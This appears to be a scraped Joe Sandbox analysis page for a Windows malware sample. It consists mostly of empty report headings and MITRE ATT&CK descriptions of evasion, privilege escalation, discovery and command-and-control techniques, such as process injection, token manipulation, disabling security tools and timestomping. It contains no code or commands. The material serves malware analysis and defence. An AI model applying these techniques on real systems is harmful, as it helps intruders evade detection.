Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report JV4ILFxpDY.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Cryptography:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Spam, unwanted Advertisements and Ransom Demands:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre